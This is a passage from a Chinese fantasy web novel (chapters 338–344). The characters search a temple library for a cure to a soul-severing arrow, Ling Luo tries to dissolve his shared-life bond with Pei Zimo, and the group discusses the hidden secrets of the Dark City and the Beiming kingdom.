“那现在有什么办法么?”白锦夜对凌珞来说,算不上有好感,但凌珞是为了救他才受伤,他不想欠凌珞这个人情,“有什么是我们现在能做的。” 裴子墨找不到断魂箭,就把凌珞的魂魄先放了回去,带着白锦夜一起出了房间,“我继续想办法找断魂箭的位置,若是运气好找到了,看看能不能拔出来,你帮我去藏书阁里翻一翻那些古籍,看看有没有古籍记载断魂箭这东西。” “好。”白锦夜点点头。 裴子墨叹了口气,“若是冷鸢在就好了,她对藏书阁也很熟悉,而且很多古籍上的字她也会认识。”她一边带着白锦夜往藏书阁走,一边思索着,走到门口,才停下了脚步,转头看向一直跟着他们的左辞,“左辞,你再去一趟暗城,去找楚星玄,就说我让他进圣殿的藏书阁。” 这圣殿的藏书阁不知道是多少人眼红的地方,至少暗城的人,就一直都来想看看这里的书。 楚星玄认识的古字肯定要比白锦夜多,而且多一个人帮忙,速度也能快些。 进了藏书阁,裴子墨找了纸笔,在纸上写了几种古体字的断魂箭,“你可以大概对照着这些字来找。” “嗯。”白锦夜接过她写的字,转头看着这巨大的藏书阁,这可真是大海捞针了。 “门外的肉尸能听懂基本的指令,你有什么事可以找它们。”裴子墨又道,隔了会,她才叹了口气看向白锦夜,“虽然……很早以前,我认为凌珞根本就不该活着,但是我也不希望他是因为我们而死。” 第339章 一根绳上的蚂蚱 白锦夜自然明白裴子墨的意思,但他现在也有其他担心的,“凌幽这一次虽然走了,但应该还会回来吧?” 裴子墨点点头,“他也知道我们拿走了崖下的东西,肯定不会轻易善罢甘休。希望楚星玄能来吧,他在这里,既能帮忙查阅古籍,若是凌幽来了,他爹也不可能看着他出事不管。不过暗城的底牌到底是什么,我也不清楚,第一次能让凌幽离开,以后若是真动起手来,也不知道会怎么样。” “那就只能尽快了。”白锦夜开口道,“咱们抓紧时间。”说着他抬手握住裴子墨的手,“放心吧,一定会有办法的。” 裴子墨没说话,若是别的东西,也许还能多抱一丝希望,可是断魂箭这东西…… 从藏书阁出来,裴子墨便见到寒羽一个人坐在大堂上,也没坐在椅子上,就坐在地上看着外面发呆。 她脚步顿了顿才走过去,“你没事吧?” 寒羽听到声音,转头看了看裴子墨,又摇了摇头。 裴子墨轻轻地叹了一口气,自从见到寒羽的那一天开始,他就想着要回地府,虽然还没有办法回去,但是白锦夜说能带他先去地府看一看,他也是很开心的。 可是哪知道会发生这样的事。 寒羽本来就心性单纯,估计一时之间也很难接受,怕是要难受很久了。 裴子墨抬眼看了看外面,也就只能等左辞回来,让左辞好好安慰一下寒羽了。 她重新回到凌珞的房间,在他的周围摆了几个阵法,因为实在不知道断魂箭到底在哪,就只能在他整个后背上都写了护住魂魄的符咒。 然后她深吸了一口气,沉下心来,慢慢的,一点一点的,重新寻找着断魂箭的位置。 * “怎么,欠了暗城一个人情,就想用这种方式来补偿么?”楚星玄听到左辞说明来意之后,便直接开口道。 左辞挠了挠头,“我们家王妃恩怨分明,她没说这个是还人情的,那就应该不是。” “哦?”楚星玄挑了挑眉,“你们家王妃可从来不会做对自己没有好处的事。” 虽然确实是欠了暗城一个人情,可是左辞听到楚星玄这么说,心里多少还是不开心,“反正我就是个传信的,去不去在你,你要是觉得这里有阴谋,那你可以不去。”说完他也不打算多停留,“那我就先回去了。” “等一下。”楚星玄站起来,轻笑了一声,“那我就去看看,反正也不吃亏不是。” 左辞暗暗地翻了个白眼,没有说话。 “你等我会,我去跟我爹说一声。”楚星玄本来也没有必要事事向楚云颂报备,但是自从上一次帮着裴子墨找第一任圣女的后人之后,就彻底地被楚云颂给看管起来了,无论去哪里,都会有人跟着,做了什么也都要向楚云颂报备,他觉得他这次可是被裴子墨给坑惨了。 左辞也就重新坐了下来,楚星玄去了半响才回来,出门的时候,身边还带着一个中年人,“怎么,你爹不放心你?” 楚星玄看了左辞一眼没说话。 左辞轻哼一声,“不是怕你乱跑,那就是怕我们王妃对你做什么咯?真是以小人之心度君子之腹啊,我们王妃要是真想对你做什么,还用等到现在么?之前可是有无数的机会,想把你怎么样就怎么样。” “区区一个下人,敢如此对我们暗城少主说话?”中年人眯眼看着左辞,大有一言不合就要动手的趋势。 左辞确实也没怎么真的把楚星玄当成个人物,毕竟他可是在王府做了很久的阶下囚,要不是裴子墨,这会还不知道怎么样呢,“你们暗城少主,还不是在我们王府白吃白住了大半年?” “你!”中年人闻言就要动手。 楚星玄赶紧出手制止,他瞥了左辞一眼,才道,“下人嘴碎,自有自己的主子管教。” 左辞看着他,这言下之意,估摸着就要去告状了,他可不怕楚星玄去告状。 一路到了藏书阁,中年人自然不能进入,便和左辞一起等在门外,楚星玄一个人走了进去。 左辞看着这中年人一脸不怀好意地看着自己,眨了眨眼,他可不是明知道会吃亏还要硬着头皮往上冲的人,从他跟着白锦夜的那天开始,白锦夜就教过他,不能做无谓的牺牲。 他站了会,想起了什么,便转身往外走。 中年人转头看了看藏书阁的门,又看了看站在一旁一动不动的肉尸,犹豫了会,也跟着左辞往外走,不过他并没有跟上去,反倒是保持着一些距离。 左辞刚走了一会,就见到寒羽坐在那发呆,于是迅速的走向寒羽,在他的身边坐下。 中年人的脚步也就停了下来,他眯眼看着寒羽的背影,隔了好一会,才意识到什么,脸色微变,没有再停留,转身回了藏书阁的门口。 * 楚星玄进了藏书阁便见到正在翻书的白锦夜。 他拿着书,迅速的翻过,然后再换一本书,显然不是在看书,而是在找东西。 楚星玄站了会,才走过去,把一旁桌子上的几张纸拿起来,“断魂箭……这是什么东西?” 白锦夜抬眼看向楚星玄,若是直接让他帮忙找,他怕是不见得会帮忙,沉默了会,他的目光重新回到书上,慢慢地道,“在崖上的那个人你也见过了,他的术法很高,几乎没人是他的敌手,虽然不知道你们是用什么办法把他赶走,但是若是你爹有把握,大概也就不会让他离开了。” “那个人肯定会去而复返的,硬碰硬打不过,就只能想点其他的办法了不是么?这断魂箭……是圣女一脉不传之秘,只不过早就失传,子墨只是知道一点,但是她说恐怕也只有这个东西能制住那个人了。” “你们暗城也除了面,他的目标虽然是我们,可你们也牵扯进来了,大家都是一根绳上的蚂蚱,如果能解决掉那个人,大家的危机都可以解除,不然……” 白锦夜说着放下一本书,又拿起另外一本,“后果怎么样,不用我多说吧?” 第340章 趁现在把共命解除吧 楚星玄把几张纸翻来翻去的,上面都是用各种时期的古体字写的“断魂箭”三个字,“这藏书阁应该没有人比裴子墨更熟悉了,她怎么不自己来找?” “不是跟你说了,她只是知道一点,现在正在想办法看看能不能复现,我闲着也是闲着,就来找找古籍上有没有关于这东西的记载,如果有就最好了,如果没有,那就只能靠她微弱的记忆了。”白锦夜说着又换了一本书,“你想看书你就去随便看吧,不要打扰我,时间紧得很。” 楚星玄放下手里的纸,沉默了会才问,“叫我来,不是要我帮忙一起找?” 白锦夜这才又抬眼看他,“你若愿意帮忙找当然好,你要是不愿意……那就不要影响我。” 楚星玄轻笑一声,转身走到另外一个书架边,随手拿起一本书,找了个地方坐下来,慢慢地看起来。 书都看了三分之一,也不见白锦夜再跟他说什么,只是自顾自地忙着。 楚星玄依旧不相信裴子墨会无缘无故让他来这藏书阁,他的目光又落在桌面的那几张纸上,可是这断魂箭,他确实也从来没听人说起过。 他收回目光,又看了几页书,随后站起身出了门。 中年人站在门口,见到楚星玄出来,便以目光询问。 这圣殿毕竟是圣女的地盘,楚云颂让他跟着一起来,除了看着楚星玄不要乱跑以外,自然更多的是为了防备圣女。 楚星玄看了一眼门口的肉尸,带着中年人往旁边走了走,才低声问,“二叔,你听过断魂箭这东西么?” 中年人的目光里带着几丝诧异,半响才问,“你怎么会问这东西?” 楚星玄转头看了一眼藏书阁的门,没有说话。 中年人沉默了会,“这东西,已经失传很多年了,听说任何魂魄都躲不过断魂箭,一旦被断魂箭击中,大罗神仙也难救。是有人中了断魂箭?” 楚星玄摇了摇头,“他们说,他们想要用断魂箭来对付之前崖上的那个魂魄。” 中年人也跟着楚云颂他们一起去了崖上,是见过凌幽的,他微微沉思了一会,“那也不是不可以,只不过……他们知道断魂箭的制作方法?” “说是只知道一点,具体的,还在找。”楚星玄又道。 中年人想了下,压低声音道,“既然如此,你便也好好看看这东西如何制作,最重要的是,看看有没有法子解决。若是圣女研制出了断魂箭,那对整个暗城都是有威胁的。” 楚星玄点点头。 “只不过……”中年人微微皱起眉头,“我好像隐约的听说过,曾经制造出断魂箭的那个人,因为做了太多伤天害理的事,是入了炼魂谷的。”说完这句,他又想起什么,抬手拉住楚星玄的衣袖,“我刚刚看到了一个修罗。” “修罗?”楚星玄有点诧异,“那玩意儿不是地府才有么?” “我应该没有看错。”中年人的语气里带着确定,“而且那修罗已经化了人形,修罗在地府就是看守炼魂谷的,说不定就是那修罗知道了什么,他们才会想要用断魂箭这东西。” “好,我知道了。”楚星玄转身回了藏书阁,他之前在崖上的时候,见到了裴子墨、左辞和白锦夜。 还有另外两个人,那两个人他都是没见过的,难道其中有一人就是修罗么? 楚星玄重新拿起自己刚刚看完的书,犹豫了下,便向白锦夜询问,“你们从哪弄出来个修罗?” 他这话这么问,显然是告诉白锦夜,他已经认出了那个人的身份,白锦夜也就没必要跟他绕圈子。 白锦夜微微眨了下眼,只是说,“捡的,然后就一直跟着我们。” 楚星玄自然不信白锦夜这个说法,但是眼下既然确定了修罗的身份,那他自然也就要多留意断魂箭了。 白锦夜余光看着楚星玄翻书的速度逐渐变快,便也猜到他刚才出门可能是去找谁求证了,现在这显然不是在看书,而是也在找断魂箭了。 他收回目光,继续翻看着面前书架上的书。 * 裴子墨也不知道自己是做了什么刺激到了凌珞,他闷哼了一声,睁开了眼睛。 现在醒过来,起码不是坏事。 “断魂箭的位置大概在哪,你还记得么?”也不知道凌珞会清醒多久,裴子墨赶紧开口问道。 凌珞趴在床铺上,轻笑了一声没有回答。 “都什么时候了,你还笑什么?”裴子墨皱起眉头,“凌珞,你是不是……脑子有什么病?” 凌珞垂眼看着地面,隔了一会才道,“你是已经忘记了,还是没想起来,断魂箭进入魂魄之后,就会立刻散成极小的碎片,犹如跗骨之蛆,逐渐的散布到整个魂魄之上?” 裴子墨微微怔了一下,在脑海里搜索里下关于这件事的记忆,可是想了很久,还是丝毫没有想起来,“我不记得了,我如今想起来的,也只是我曾经安排的到现在为止我应该想起来的事,很多事很多细节我还没有记得那么清楚。” “你想剥离断魂箭,就得剥离我整个魂魄,整个魂魄都没有了,那还不是一样要死?”凌珞转头看向裴子墨,“别浪费时间了,趁我现在还能醒过来,我们把共命解除了,你也不会因此受到牵扯。” “不,只要是这世上有的术法,就一定有解决的办法,当年没有,不代表现在也没有。”裴子墨摇了摇头。 凌珞轻笑了一声,“我感觉,他不是因为我打开了炼魂谷才对我下手,他好像是认出了我,觉得我身上有他熟悉的气息。可明明白锦夜本人就站在我旁边,我只不过是从他身上剥离出来的执念,他没认出来本尊,却认出我来了……子墨,在白锦夜投胎转世之前,你对他做过什么?你把他身上魂魄的印迹和气息都抹掉了?” 裴子墨轻轻皱起眉头,“我……现在不知道。” 凌珞收回目光,重新看向地面,“当年你和他都是围剿那个人的人,这么多年过去了,他还是记仇的,他认不出白锦夜,倒也不知道会不会认出你,总之……你以后若是去地府,多加小心吧。” 第341章 我错了么? “总之,我们会想办法的。”裴子墨站起身,“你若是想到了什么,能告诉我就告诉我。” 说完,她转身就要往外走。 凌珞看着她的背影开口道,“你要知道,共命这个术法,没那么简单,其中一人缺失的是什么,就会从另外一人的身上汲取什么,我的魂魄越来越虚弱,就会汲取你魂魄的力量,之后你也会和我一样,魂魄逐渐虚弱,甚至陷入昏迷。” “你觉得,如果咱们两个都昏迷了,以白锦夜现在的本事,能找到解决的办法么?” “到时候恐怕连共命都解除不了了,你自己算出来的卦象上不是很清楚么?又何必跟这过不去?” 裴子墨的脚步微微顿了下,没有说话,拉开门离开了房间。 她这次进藏书阁的时候,白锦夜和楚星玄正分别呆在一个书架前,翻找着书架上的书,她看了一眼楚星玄才走到白锦夜的身边,也不用问什么,就知道现在肯定是一无所获,不然白锦夜早就会让人去找她了。 她也就抬手拿起书架上的书,随手翻着。 裴子墨没说话,白锦夜便也知道进展的不顺利。 他转头朝楚星玄那边看了看,才压低声音道,“能不能大概看出来,凌珞还能坚持多久?这藏书阁这么大,就算这里真的有关于断魂箭的记载,等我们找到的时候,凌珞都不知道怎么样了。” “他的情况不太好。”裴子墨叹了口气,“我也不知道能坚持多久。”她抬手揉了揉眉心,脸上露出几丝疲意。 “不然,去地府找那个人?”白锦夜轻轻皱起眉头。 “不行!”裴子墨立刻拒绝,声音也微微提高了些,惹来了楚星玄的注意,她转头看了楚星玄一眼,才重新压低声音,“那个人既然下了死手,又怎么会告诉我们解决方法?如果他是有什么诉求,不会直接就用断魂箭这种东西。我们也不可能是他的对手,去找他,无异于送死。” 白锦夜轻轻叹了一口气。 半响后,裴子墨才道,“人各有命,若是真的没有办法,那也就只能这样了。” * 几天过去,就连裴子墨都开始偶尔会有阵阵的眩晕,她让白锦夜养了一次血莲,但她的状况也不过就因此好转了半天。 一开始她还尽量不被人发现,可是逐渐也瞒不住,别说白锦夜,就连寒羽都发现了她的异常。 白锦夜知道共命的事,这种事也不需要多问,肯定是凌珞那边的情况影响到了裴子墨,如今也就只能寄希望于尽快找到什么解决方法。 又喂养了一次血莲之后,白锦夜包扎好手上的伤口,便让裴子墨留在房间里休息,不要再去藏书阁了。 “我在房间里,也不可能真的休息。”裴子墨还是站起来,“还不如去藏书阁,找点事情做,也总好过就这么呆着。” 白锦夜轻轻皱起眉头,隔了会才说,“其实你也大概知道,找到解决办法的可能性不大了是么?只是想要做点事,分散自己的注意力。”他说着目光落在裴子墨的手上,“你现在用这种方式帮他吊着命,但是显然你们两个都越来越虚弱,那以后呢?” “你放心,我还有很多自己的事情要做,不会因为这件事把自己的性命搭上。我现在还能坚持,实在……实在没办法的时候,我知道该怎么做。”裴子墨垂下眼,轻轻蹙了下眉,又看向白锦夜,“我有分寸。” 白锦夜叹了口气,没再说话,两个人出了房间,正要往藏书阁走的时候,便见到一个肉尸扶着凌珞走了过来。 裴子墨拧起眉,“你怎么出来了?” 凌珞的目光落在白锦夜包扎的手上,“我就知道,这会大概是血莲的作用,不然我也醒不过来。”说完,他顿了顿,才看向裴子墨,“趁着我这会醒过来,我有话跟你说。” 白锦夜看着凌珞虚弱的模样,又转头看了看裴子墨,大概也能猜到他想要说什么,到了这个时候,凌珞自然已经有自己的打算,“那我先去藏书阁了。” 裴子墨点点头,白锦夜便转身离开了。 凌珞也转过身,往大殿前面走。 裴子墨皱了下眉,顿了顿,才跟上。 凌珞一直走到大殿前面的台阶上,坐在台阶上往下看,抬手指了指下面,“你还记不记得,我第一次带你走这条台阶,你耍赖的样子?” 裴子墨在他的身后站了会,才在他旁边坐下,“我那时候才六岁。” “是啊。”凌珞轻轻叹了口气,“那时候你什么都不记得,什么都不知道,小脑袋里唯一的想法就是吃饱肚子活下去。” 裴子墨微微抿了抿唇,“凌珞……” “要是时间一直停在那个时候该有多好。”凌珞打断裴子墨的话,“其实想想,也还是因为我的自私,我有自己的目的,并不满足于眼前的一切。明明一开始……我只是想要你复活,可等你转世了,我真的找到你了之后,我又开始有其他的目标。” “如果我没有把你带来圣殿,如果我没有教习你术法,如果我没有想让你做圣女……”他说着轻笑了一声,“明明那个时候已经很开心了,可我还是想要看到,你术法最高、跟遁世岛作对、不肯认输的模样,我觉得那样才应该是你。” 顿了会,凌珞才低声道,“我错了么?” “没有,我这一世,本来就有自己的安排,即便你没有教我术法,我也可能会走其他类似的路,也许要走得更难。”裴子墨说着收回目光,也向台阶下面看去,“我转世之前,就已经安排好了这一世的路,所以……跟你也没什么关系,这本就是我要走的路。” 凌珞摊开手掌,看着手上的红线,“那你算到了,我会和你共命么?” 裴子墨摇了摇头,“我只是算到,若是在你身边,你会成为我的助力,很多事没办法算的那么细的。” 凌珞笑了笑,“我当时为什么要和你共命呢?你那时才六岁,什么都不懂。”他说着像是在认真的回忆当时的情形,但是想了很久,似乎也很难再感受到当时的心情了,他叹了口气,从袖袋里拿出了两粒糖,“大概是因为糖太甜了吧。” 第342章 已经到了最后的时候了 裴子墨看着凌珞手心里的糖,和当年她给凌珞的糖的模样有些相似,她轻笑了一声,“但你应该知道,我当时只有一颗糖,其实是不舍得给你的,可我看着你穿着绫罗绸缎,看着你会术法打跑坏人,我就知道,我需要得到你的好感,你才能给我更好的生活。我是很害怕你转身就走的,那样我就又要饿肚子了。” “小小年纪,心思还不少。”凌珞说着把手里的一块糖递给裴子墨。 裴子墨微微皱了下眉头,接过了他手里的糖。 凌珞剥开剩下那块糖的糖纸,把糖放进了嘴里,“嗯,果然没有当年那块甜。” 裴子墨坐了好半响,才跟凌珞一样,剥开糖放进嘴里,“其实,也不会太痛苦。” “是啊。”凌珞点点头,“一点都不疼,只是逐渐虚弱而已,若是魂魄上的疼痛疼得死去活来,不如早点了断。”他吸了一口气,又看向裴子墨,“如果我伤的不是魂魄,你大概也不会这么尽心的救我,反正我的魂魄到了地府还能转世,是不是?” 裴子墨看着他没有说话,但他说的确实是事实,如果他受了重伤救不过来,她最多只会给他的来世做好安排,不会这么勉强的想要让他活下去。 可魂魄消融,就证明他已经不可能有来世了。 凌珞轻笑一声,“其实当年凌幽为了让我活下来,真的做过不少的事情,他跟我说过,我的身体里缺少一种活人应该有的东西,叫阳元,他是用了血冥石来代替我的阳元让我活下来,但是我因为没有阳元,若是死了以后,也不可能再有投胎转世的机会。” “况且地府那边早就一直盯着我,凌幽出入地府拿的各种东西,很多都用在了我身上,地府的人到时候不会放过凌幽,也不会让我好过,即便只是身体死了,魂魄到了地府,恐怕也难免魂飞魄散的结果。只不过因为我成了冥尸,这些年死亡的威胁几乎没有。” “我本来……也就只有这一世,但也足够了,对于一团执念来说,能转世投胎,有自己的思想,能按照自己的意愿生活,还活了这么多年,也做了些……我觉得有价值的事情,不是已经很好了么?” 裴子墨轻轻叹了一口气,“道理是这样的道理,但是事情真的发生的时候,不见得所有人都能接受。” 凌珞点点头,“我早就接受了,以后,你多加小心就是。” “我会的。”裴子墨应了一声。 凌珞沉默下来,隔了好一会,最终还是说了出来,“子墨,不要完全相信任何人,包括……白锦夜。” 裴子墨看着他,知道他这话里有话,比如之前凌珞给他讲过第一世他是如何得到遁世岛的地图的。 以及前几天凌珞也隐晦地提醒她,她抹掉了白锦夜魂魄上所有的印迹和气息。 她自己也知道,白锦夜的三生石早就被她打碎了。 其实就算凌珞不说,她应该已经知道了他是如何得到地图的,她应该早就已经看过他的三生石,只不过她现在还没有记起来这些,甚至于,在她自己的安排里,她也不知道自己什么时候能想起来这些事。 不过……以往她遇到什么事的时候,都会有零星的记忆碎片出现,她再逐渐慢慢拼凑。 可自从在忘川里解开最大的封印,知道了最关键的那些事之后,一直到现在为止,就再也没有任何的记忆碎片出现了。 就好像这段时间发生的事情,没有一件也没有一个人能触发她曾经设置下的封印。 她轻轻皱了下眉,收起这些思绪,对此她早就有一些疑惑,但是眼下也不是想这些的时候,她的目光重新回到凌珞的身上,“虽然之前的某一段时间,我还是比较防备你,但是……总的来说,凌珞,这一世谢谢你。” “嗯,你这声谢谢我就收下了。”凌珞应了一声,“我本就是在他身上,因你而生的执念,若不是你,我也不会去地府救他,这都是因果,倒是挺圆满的。” 裴子墨看着他,深吸了一口气,“好了,看样子你该说的都已经说完了,先回去歇着吧,也还没到最后的时候。”说完她站起身,“我们再想想……”只是这句话刚说出一半,她就感觉到一阵阵眩晕。 起初还以为是血莲的作用失效了,上一次血莲的功效起码持续了半天,那半天里她都没有任何的虚弱和不舒服,但是这一次血莲才刚刚吸完血,就已经失去作用了么? 她立刻看向凌珞,断魂箭在凌珞的身上,她若是眩晕,凌珞的情况只会比她更严重。 可凌珞却只是转头看着她,并没有任何快要昏迷的迹象。 她抬手揉了揉眉心,捏了捏手里的糖纸,隐约地想到了什么,只是话还没问出来,就失去了意识倒在地上。 凌珞轻笑了一声,看着前面的台阶,自言自语道,“子墨,已经到了最后的时候了。”说完,他沉默了会,才转头看向裴子墨,“你不想解除共命,靠血莲吊着我这口气,还能吊多久?就这样吧。” 他说着起身走到裴子墨的身边,割破了自己的手指,在裴子墨的额上慢慢地写下符咒。 共命这术法本来是两个人都要在清醒的时候,共同来完成。 但好在当年实施这术法的时候,裴子墨太小,也不会什么术法,所以大部分都是凌珞自己来完成,如今他单方面解除共命,虽然会有一些影响,如果他死了,裴子墨恐怕也要伤一下元气,休养很长时间。 只不过也好过裴子墨现在勉强地靠血莲撑着,再熬一段时间,她的身体只会更虚弱,甚至到那个时候,都不知道还有没有机会解除共命了。 符咒其实并不复杂,可是凌珞太过虚弱,写写停停,到后面的时候,手都开始颤抖。 等剩下最后一笔,他的手指停了下来,他知道,只要这最后一笔写完,共命的术法解除,以他现在的情况估计是当场魂魄就彻底消融了。 他闭了闭眼,吸了口气,手指慢慢地落下去。 第343章 北冥国的百姓 裴子墨感觉到指尖一阵刺痛,她猛地睁开眼坐起身,便见到白锦夜坐在床边看着她。 她下意识地转头看了一圈,只见到楚星玄坐在不远处的桌边,她抬手抓住白锦夜的手腕,“凌珞呢?凌珞呢?” “他没事。”白锦夜轻声道,“你呢?感觉怎么样?” 裴子墨并不是很相信白锦夜的话,凌珞在糖里下了药,让她昏迷,显然是要趁她昏迷的时候解除共命的术法,如果术法已经解除,他怎么会没事呢? 白锦夜转头看了看楚星玄,才道,“我们想到了也许能解决这件事的办法,去找你们的时候,他正要解除共命的术法,好在我们到的算是及时。” 他说着拉起裴子墨的手,示意她可以自己看自己的手心。 裴子墨的手攥着拳头,好半天才慢慢地摊开手掌,手心上的红线依然在,她这才松了一口气,抬头看向白锦夜,“你说你们想到了办法,是什么办法?” “你还记得,当初在复州,我们遇到的沈易安么?”白锦夜提醒道。 “你是说,沈易安老家的那个老和尚?”裴子墨闻言眼睛一亮,那个老和尚在沈易安的魂魄上设了禁制,一旦沈易安提起有关死气的秘法的时候,禁制就会启动,他的魂魄就会被烧死。 显然那个老和尚对魂魄的研究极深。 而且当时烧死沈易安魂魄的,便是无边业火,那是只有地府才有的,甚至于无边业火所在的地方,对于地府的人来说都是禁地,没人能控制那种火,不管活人还是死人,魂魄还是神仙,但凡沾上一丝,顷刻间就会化为灰烬。 那老和尚能从地府引无边业火出来,又对魂魄有研究,说不定能解凌珞身上的断魂箭。 白锦夜点了点头。 “那眼下,也就只能这么办了。”裴子墨轻轻抿了抿唇,“我们现在就出发,沈易安曾经是朝廷命官,朝廷对他的记载应该很详细,知道他的老家在哪吧?” “我已经让左辞先出发去找他的老家在哪了,我们先往复州的方向走,到时候在复州会和。”白锦夜回道。 裴子墨只是点了点头,脸上的神色也并不轻松,这一路不知道需要多少时间,凌珞也不知道还能不能熬下去,她轻轻叹了一口气,抬眼看向楚星玄。 楚星玄嗤笑一声,“看样子,你对我多少还是防备着的。”他说着瞥了一眼白锦夜,“好歹咱们也是共患难过的,到现在连句实话都不说了。” “如果你只是你,我也许可以相信你。”裴子墨沉默了会,才开口道,“但是……”她想了会,才道,“但是你身后是暗城,是楚云颂。” 楚星玄收起笑容,“以前的时候,暗城和圣女之间确实互相防备,从不来往,但是不提以前,只说在你身上的事,我爹和暗城可从来都没有为难过你,上一次在圣殿之下,这一次在断崖前,我爹都救了你,甚至我们暗城唯一的一条血菩提也用来救白锦夜了,不知道在你心里,暗城还要做到什么地步,才能算是你的朋友,才不会害你!” 裴子墨拧起眉,“你爹最近应该也不让你乱走,我们要离开北冥国,你大概也不能跟我们一起走。如果你还想看什么书,就留下来在藏书阁继续看。” “看什么看?”楚星玄站起身,“我不傻,你叫我来,说是看书,还不是为了帮你们找断魂箭的记载?”他说完转身就要往外走。 “你想留下来看书就留,如果不想留。”裴子墨看着他的背影,“如果有时间,就去查查,你娘亲的事。” 楚星玄的脚步一顿,转头看向裴子墨,“你什么意思?” “藏书阁确实不是什么人都能进,在藏书阁的门后,有启动圣殿阵法的机关,如果你遇到了什么危险,可以去藏书阁里避一避。”裴子墨没有回答他的话,“这毕竟是你的家事,我只能言尽于此了。” 楚星玄眯眼盯着裴子墨看了好一会,也没再说话,转身离开。 裴子墨又叹了口气,既然有了方向,现在自然也没有时间可以浪费了,于是和白锦夜两个人找了马车,带上又陷入昏迷的凌珞重新出发。 左辞已经提前离开,也就只能由白锦夜来赶马车。 裴子墨在马车里查看了会凌珞的情况,见没有太多的异样,便出了马车,坐在了白锦夜的旁边,“让你一个堂堂王爷来赶马车,真是我们的福气。” 白锦夜转头看了她一眼,“这北冥国,虽然称之为国,但一点国家的感觉都没有,那袁澈不像是皇帝,你这圣女……也像是只有个空空的名号,不过反观暗城,倒是有些小国家的模样,如果把楚云颂看成皇帝,楚星玄看成太子,他们有自己的势力,又控制着北冥国的军队。” 他说着看了看这皇城荒凉的街上,“而且整个国家,好像都没什么百姓。” “是啊。”裴子墨点点头,“袁澈那皇宫里,也就只有他一个人,剩下的,便是肉尸,光杆皇帝一个。可就偏偏有鬼王沙漠,把北冥国与世隔绝,再依仗着一些有术法的人,北冥国才能存在这么多年,不然恐怕早就灭国了。” “我本来只是想说,任何一个国家的皇帝出行,仪仗至少都要几百人,甚至成千上万,可袁澈好像从来都是一个人,而且你这个圣女,连个车夫都没有。”白锦夜笑了笑。 “北冥国这边,以前其实就没什么百姓。”裴子墨转头看了看马车里面的凌珞,才继续道,“以前这边都是些修仙的人,更多的人,都是来跟着会术法的人修习术法的,后来凌幽创建了北冥国,因为没有百姓,他出去掳了不少人回来。但是若是没有极大的利益,哪有人愿意背井离乡?” “要么许诺会教习术法可以长生不老,要么就是骗着喝了圣湖水,控制着那些人来了北冥国。要不是后来有了鬼王沙漠,估计还会有更多的百姓,但是现在,北冥国的百姓只会越来越少。” 裴子墨说着轻轻叹了一口气,“这鬼王沙漠的存在,说实话,不知道是为了保护外面的百姓,还是为了维持北冥国的这最后一点生机。” 第344章 暗城的秘密 “从北冥国建国以来,皇帝和圣女都会定期从圣湖里取出一些水来,特制成药丸,发放给北冥国的百姓,除了暗城的人和蛮天一族以外,剩下百姓都是用这种方式被北冥国的皇帝控制着。”裴子墨看着马车前方继续说道,“可你想,若是一开始,就想用这样的办法来控制所有人,那为什么暗城的人不在控制之中呢?” “我对北冥国的事情,也不是很了解,第三世在琼华山死后,因为那一世做过的恶事,我在地府也经历了不少的刑罚,再加上之后无数次转世,哪怕转世成一只鸟,都会夭折,所以后来我没有再转世,一直在谋划着这一世的安排。” “这中间我不知道过了多少年。”她说着轻轻皱了一下眉头,“所以我一开始对北冥国的了解,也无非是圣女之间的口口相传,那时候凌珞也不会跟我说这些事。” “也是你从琼华山来之前,凌珞才跟我提起过暗城的事。很早以前,这边的人都集中在九域十三洲那边,后来凌幽在这里建立北冥国,但是当时暗城这一支便已经存在了,凌幽只有一个人,但是暗城那时便像是一个小小的国家了。” “虽然暗城术法最高的人,也没有凌幽的术法高,但是双拳难敌四手,况且凌幽当时也需要有人帮他,于是应该是和暗城达成了什么协议,所以暗城虽然会听北冥国皇上的调遣,但是也自成一派,有着相对于其他人来说更高的自由度。” 裴子墨说着顿了下,“这些年来,看着是圣女和暗城的势力互相制衡,暗城又听北冥国皇上的话,但暗城实际忌惮的,还是圣女和国君背后的凌珞。” “凌幽离开这么多年,暗城的人大概是以为他已经死了,这一次又重新见到凌幽,那他们忌惮的人,自然又多了一个。” “而且凌珞跟我说,他在历任暗城的城主身上,都能感受到很熟悉的气息。只有两种可能,一种是,暗城的城主,也有某种能够长生的办法,但是他不想被人发现,所以每隔一段时间,就会变换一次自己的形象。” “比如现在是楚云颂,大家都知道他有一个儿子楚星玄,等到过些年,‘楚云颂’该死了的时候,楚星玄就会被杀死,然后城主就会变成楚星玄的模样,在外人看来,就是楚云颂死了,城主之位传给了自己的儿子。” “还有另外一种可能,就是魂魄的传承,每一任城主,会把自己的魂魄以什么秘法传承到下一任城主身上。因为如果单单是记忆的传承,凌珞不会感觉到有熟悉的气息,那么就是他们在用什么办法,做了一次灵魂的融合。” “所以暗城的城主,其实应该掌握了不少北冥国的秘密,甚至于,在北冥国之前的无数年……从暗城诞生的那一刻起,暗城的传承就没有一丝一毫的流失。” “但是偏偏,每一任城主的妻子都从不见人,凌珞也从来都没有见过。城主大婚也不会邀请外人,而且几乎很奇怪的就是,只要城主夫人生了孩子之后,要不了多久,就会传出城主夫人的死讯,有些甚至直接就是难产而死。” “再加上,暗城城主……好像就没怎么生过女儿,说是有什么秘法,但是这里面的事,有多少弯弯绕绕和猫腻,就不是外人知道了。” “只不过暗城和北冥国之间,向来也没什么冲突,又有最开始凌幽和他们的协议在,凌珞也懒得多管暗城的事。” 裴子墨说着耸了耸肩,“其实说是北冥国,但是好像谁也都没有把这里当成一个国家来对待。” “那你让楚星玄去查他娘亲的事,岂不是就是要把暗城的秘密揭出来了?”白锦夜开口问道。 “楚云颂不是说过么,北冥国或许就不该存在,如今皇室一脉,圣女一脉,都算是毁了,难道他暗城要独善其身?”裴子墨轻笑一声,“再说,万一暗城的秘密是我们猜测的第一种,那不是也算是救了楚星玄一命么?” 她说着转头看向白锦夜,“你以为只凭左辞几句话,就算能说动楚星玄,能说得动楚云颂带着暗城那么多人来断崖上救我们么?他一定是听左辞提到了凌幽的名字,想要来看看是不是凌幽还活着,如果凌幽在,恐怕他以后要继续忌惮,如果不在……咱们从断崖上来的时候,楚云颂说不定就会做出什么事来了,这不过就是一个互相忌惮的关系。” “应该还有另外一层考虑吧?”白锦夜出声道,“像是凌幽和楚云颂他们这些人,很多话都不会说得特别明白,凌幽见到楚云颂不是当初和他定下协议的人,可是他身上有让他熟悉的气息,他同样会三思。而且两个人应该谁都不会主动提起当年的协议,甚至于凌幽也不想更多人知道我们在断崖下拿到了东西,所以两个人在崖上见面的时候,应该可以说是各怀鬼胎。” 